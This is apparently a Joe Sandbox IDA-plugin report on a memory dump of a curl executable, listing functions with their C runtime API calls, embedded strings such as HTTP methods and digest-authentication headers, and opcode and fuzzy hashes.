%-19s %s, xrefs: 00DC946C
Usage: curl [options...] <url>, xrefs: 00DC9441

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: printfputs
String ID: %-19s %s$Usage: curl [options...] <url>
API String ID: 3793801724-2287160993
Opcode ID: e443d18bbdd62d48f8157321f826cec921a8bb0b53f7c3d3c4348fb4706adccf
Instruction ID: 4d333dc57dfde0c1e7c31f1388c8d01130c5bd6c1e35a9c5b57dfa52360e527d
Opcode Fuzzy Hash: e443d18bbdd62d48f8157321f826cec921a8bb0b53f7c3d3c4348fb4706adccf
Instruction Fuzzy Hash: DBD0A9E3C06213B78B622A817D02CCBB6220E3323030A0B28ECDC8A250A182489083E2

Function 00DF8FB0 Relevance: 6.4, APIs: 5, Instructions: 200stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DF8FD0
strchr.MSVCRT ref: 00DF8FED
memcpy.MSVCRT(00000000,?,00000000), ref: 00DF912F
memcpy.MSVCRT(00000000,?,00000000), ref: 00DF9167
memcpy.MSVCRT(00000000,00000001,00000000), ref: 00DF919C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy$strchr
String ID:
API String ID: 921174694-0
Opcode ID: a181ae464914e95624442b6c7db9d2918f050b17c0053d6369d5048b09e14e50
Instruction ID: 0c9183d45d88ad0666dbe38077177a81e1783b8022c6ae1a4873a8f2b0a093b5
Opcode Fuzzy Hash: a181ae464914e95624442b6c7db9d2918f050b17c0053d6369d5048b09e14e50
Instruction Fuzzy Hash: 6261C3B0A043099FD7209F69D99872AF7D8AB94704F09843CFE89C7241EB79DC44C7A2

Function 00DDC140 Relevance: 6.3, APIs: 5, Instructions: 92stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DDC18C
strchr.MSVCRT ref: 00DDC19B
strlen.MSVCRT ref: 00DDC1CF
strncpy.MSVCRT ref: 00DDC1F9
strlen.MSVCRT ref: 00DDC233

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchrstrlen$strncpy
String ID:
API String ID: 257145408-0
Opcode ID: 309bbca1f5f9c6c7f088331c5afc20264682d7d67f67fcb15784a6ec62fea398
Instruction ID: adcc1bd6ae9dbfb8bf59695bd448ff3ac7f1f4d5cd7dc2ae057de739a6ff7d5d
Opcode Fuzzy Hash: 309bbca1f5f9c6c7f088331c5afc20264682d7d67f67fcb15784a6ec62fea398
Instruction Fuzzy Hash: 873132F19103015BEF149F64D899B677AA8AF90308F084479ED498B346E77AD914CBF2

Function 00DF5490 Relevance: 6.3, APIs: 5, Instructions: 84stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF549D
strchr.MSVCRT ref: 00DF54F0
strchr.MSVCRT ref: 00DF5501
strlen.MSVCRT ref: 00DF5510
strlen.MSVCRT ref: 00DF551F

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$strchr
String ID:
API String ID: 3013107155-0
Opcode ID: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction ID: 2217bf14e1e33f3f3cb3049b3037db8ec1fdf2763495615c78ef5a2af9bb09ae
Opcode Fuzzy Hash: eceb11aa6beacdc0201a707b12503ed4d148ebc0fe81aaf961a593ff60bb587e
Instruction Fuzzy Hash: 1D11EBD1B10B1627ED212AB53CD2A7B268D8BB2645F094035FF45D7346F546DD0542B3

Function 00DE2BD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 148stringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,0106ECBC,?), ref: 00DE2C49
strlen.MSVCRT ref: 00DE2C77
memcpy.MSVCRT(?,0106ECC2,?), ref: 00DE2D14

Strings

--, xrefs: 00DE2CE4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcpy$strlen
String ID: --
API String ID: 2619041689-385018399
Opcode ID: 88d62e7e0957776dd5b62b6f7afcf3c886a25288790efaa42da12bcbbae62012
Instruction ID: 75c1b18c00836f0f6533ec70bdc255428f219193fa001ca256a1f7d4bf7bd029
Opcode Fuzzy Hash: 88d62e7e0957776dd5b62b6f7afcf3c886a25288790efaa42da12bcbbae62012
Instruction Fuzzy Hash: 8F417CB0A083498FD328EE19D984B3BBBE8FB84714F14456DE9848B341E670DD85CBE1

Function 00DE22F0 Relevance: 6.1, APIs: 4, Instructions: 140stringCOMMON

Download Yara Rule

APIs

_stati64.MSVCRT(00DC5779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00DE2377
_access.MSVCRT ref: 00DE2387
strrchr.MSVCRT ref: 00DE2427
strrchr.MSVCRT ref: 00DE2438

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strrchr$_access_stati64
String ID:
API String ID: 2335015272-0
Opcode ID: be0881deb96dea2d206fe852293f95e1d942e04262893d79b91519c2b261951e
Instruction ID: 39cfafc0e82eda24d40d87b3114f4007a0103e76abd46423237e1f1ed8840550
Opcode Fuzzy Hash: be0881deb96dea2d206fe852293f95e1d942e04262893d79b91519c2b261951e
Instruction Fuzzy Hash: 8B51B5F0600742AFE710AF25C985726B7E8BF10314F084538ED5986781E379E928CFE1

Function 00DD9880 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00DD991C

Strings

Proxy-, xrefs: 00DD998A
%sAuthorization: Digest %s, xrefs: 00DD999C
%.*s, xrefs: 00DD992C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchr
String ID: %.*s$%sAuthorization: Digest %s$Proxy-
API String ID: 2830005266-541442569
Opcode ID: 606337d3181b67561cad2a76d1437aaf51395cb02fa1cbc625521c3699948a49
Instruction ID: c102ee79829656d52d28f3b374e1097bc8b6b33451b6bc746b553f53403877cc
Opcode Fuzzy Hash: 606337d3181b67561cad2a76d1437aaf51395cb02fa1cbc625521c3699948a49
Instruction Fuzzy Hash: 2A41B0B1504301AFE7109F15D894BAAB7E8FF84308F08493DF98897351E776A959CFA2

Function 00DDE990 Relevance: 6.1, APIs: 4, Instructions: 94stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DDE9E7
strcpy.MSVCRT(-0000000E,?), ref: 00DDEA07
strchr.MSVCRT ref: 00DDEA12
strtol.MSVCRT ref: 00DDEA27

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strchrstrcpystrlenstrtol
String ID:
API String ID: 1922017362-0
Opcode ID: 879fea96c9f0602b4eb2dc7530231815909b019c78550956189946abaf503c0c
Instruction ID: a37e9d3661beb0ca8797dc616b1e1a9c554e32538af958805cfae9f778121de5
Opcode Fuzzy Hash: 879fea96c9f0602b4eb2dc7530231815909b019c78550956189946abaf503c0c
Instruction Fuzzy Hash: 1221C6F6E003016BE710BA64AC81B5B779CAF60755F0C5425FD89AB382E675DA0487B2

Function 00DF7140 Relevance: 6.1, APIs: 4, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DF718C
strcpy.MSVCRT(?,?), ref: 00DF71F5
fwrite.MSVCRT ref: 00DF7221
fwrite.MSVCRT ref: 00DF7233

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fwrite$strcpystrlen
String ID:
API String ID: 1266108990-0
Opcode ID: dce90f4c1e25f48a21feb3df6d7f01bc1d0e56a92c2596b705a3c25176a0ae88
Instruction ID: 17aab7b4eb22488aeb7289a879dd84122340ff680ed6cce95f0c5013258dcd97
Opcode Fuzzy Hash: dce90f4c1e25f48a21feb3df6d7f01bc1d0e56a92c2596b705a3c25176a0ae88
Instruction Fuzzy Hash: 8F21F5B1A04705BBE7245A608C86FF6B668BF61309F084528F59C14182E3B164A4CBF2

Function 00DE8EC0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DE8EC9
strlen.MSVCRT ref: 00DE8ED7
memcpy.MSVCRT(00000000,?,00000000), ref: 00DE8F26

Strings

%s:, xrefs: 00DE8F09

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$memcpy
String ID: %s:
API String ID: 3396830738-64597662
Opcode ID: e35df50ad7ce099443857576de0c3824a5d30b6c03821c159b8d54d3e3d03fd3
Instruction ID: fff0ca628454ab030fbbac71433d961fbb53dd3c4db90d40b9ea239f7194e264
Opcode Fuzzy Hash: e35df50ad7ce099443857576de0c3824a5d30b6c03821c159b8d54d3e3d03fd3
Instruction Fuzzy Hash: 5211D5F29041456FD721AA54DC8199B7BA5EF55348F040134F98987321EB22DA10C772

Function 00E39930 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(CONNECT,?,00000007,FFFFFDFC,?,?,00000000,00E2CA82,00000000,?), ref: 00E399B4

Strings

CONNECT, xrefs: 00E399AF
:met, xrefs: 00E3996A
HEAD, xrefs: 00E399CC

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: memcmp
String ID: :met$CONNECT$HEAD
API String ID: 1475443563-2416668475
Opcode ID: ebd9399514dadc567ccda191026c9a7232d92c9357b2648a2a5c1413d29b8b86
Instruction ID: 9fa727175fcf148550aead1a4b76a20b13567dbe0f5761da39dc3ae285ab1243
Opcode Fuzzy Hash: ebd9399514dadc567ccda191026c9a7232d92c9357b2648a2a5c1413d29b8b86
Instruction Fuzzy Hash: C411E2716087018FEB24CA55D48CB7ABF99AFD9328F09B49DD5866F263C3A0DC84C621

Function 00DCEA00 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00DCEA18
strtol.MSVCRT ref: 00DCEA26
_errno.MSVCRT ref: 00DCEA30
strlen.MSVCRT ref: 00DCEA46

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _errno$strlenstrtol
String ID:
API String ID: 2305599799-0
Opcode ID: 25e90c73d9ee94b5d23c7ae6bc299cb6a3d4043552b87b69efc59cbdf49d01fb
Instruction ID: 2c380da533b8feca9b47e74f87dc3c4a207b7e9d31788b2a5fd0ebeb2a395e37
Opcode Fuzzy Hash: 25e90c73d9ee94b5d23c7ae6bc299cb6a3d4043552b87b69efc59cbdf49d01fb
Instruction Fuzzy Hash: 2EF0C2F3A04305AFD7206A959CC1B96778CABA2760F090074EA498B301F1719D0083B2

Function 00DCE990 Relevance: 6.0, APIs: 4, Instructions: 43stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00DCE9A8
strtol.MSVCRT ref: 00DCE9B6
_errno.MSVCRT ref: 00DCE9C0
strlen.MSVCRT ref: 00DCE9D4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _errno$strlenstrtol
String ID:
API String ID: 2305599799-0
Opcode ID: 966c3556b5a53469dcea18967d92cf90cce669c6161245e51deb42d3576e401e
Instruction ID: e786eb7264aaf61823577506648b64afe9256261d1ebb32b7e54b0307fecdadf
Opcode Fuzzy Hash: 966c3556b5a53469dcea18967d92cf90cce669c6161245e51deb42d3576e401e
Instruction Fuzzy Hash: B4F0F0F2A043056FE7206B59ACC2B6B778CDBA1360F080039FA8987310E9719D00C6B6

Function 00DC9BDA Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC9BEB
fclose.MSVCRT ref: 00DC9C08
fclose.MSVCRT ref: 00DC9C25
free.MSVCRT ref: 00DC9C37

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fclosefree
String ID:
API String ID: 271167838-0
Opcode ID: b2905a272aa7d97a52e4df7438944baecb9134ab2fc63fd6c38e1289b447822e
Instruction ID: b1d84cc0b1700414cc3e7f3475d151f7f4644803f5ccf83fbb7acfe5a3988b27
Opcode Fuzzy Hash: b2905a272aa7d97a52e4df7438944baecb9134ab2fc63fd6c38e1289b447822e
Instruction Fuzzy Hash: D601E8F0500B018BEB70AF20EA49B43B6F0AF20304F08093CD48646A90E776F558DB66

Function 00DC7ED6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC7EF0
_strdup.MSVCRT(?), ref: 00DC7F11

Strings

SRP, xrefs: 00DC81E5

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: SRP
API String ID: 1865132094-1918707673
Opcode ID: 786b77da4f1ba66dd366b2e45bd2293e09bba145383a3fcb84b0396a46ac974d
Instruction ID: 1dd6a59a0029a14df44e822bfba8da648285fb8f226e2c2317bd61f1a9ab19f7
Opcode Fuzzy Hash: 786b77da4f1ba66dd366b2e45bd2293e09bba145383a3fcb84b0396a46ac974d
Instruction Fuzzy Hash: 9511BFB0A042428FEB10DF28D844F9677E4AB90314F18417DF889DB291DA36DD51DB71

Function 00DC7C8B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DC7C96
_strdup.MSVCRT(?), ref: 00DC7CB9

Strings

list, xrefs: 00DC7CCF

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: _strdupfree
String ID: list
API String ID: 1865132094-1154021400
Opcode ID: 4e78598ef774527fe4602987bdd6aec03d2436b4ebc357bb2c9fe560e6a8e540
Instruction ID: cf368d7dbec3211c312411315d6b46f26dddd6904dcfa7955c39165bf8ef8c94
Opcode Fuzzy Hash: 4e78598ef774527fe4602987bdd6aec03d2436b4ebc357bb2c9fe560e6a8e540
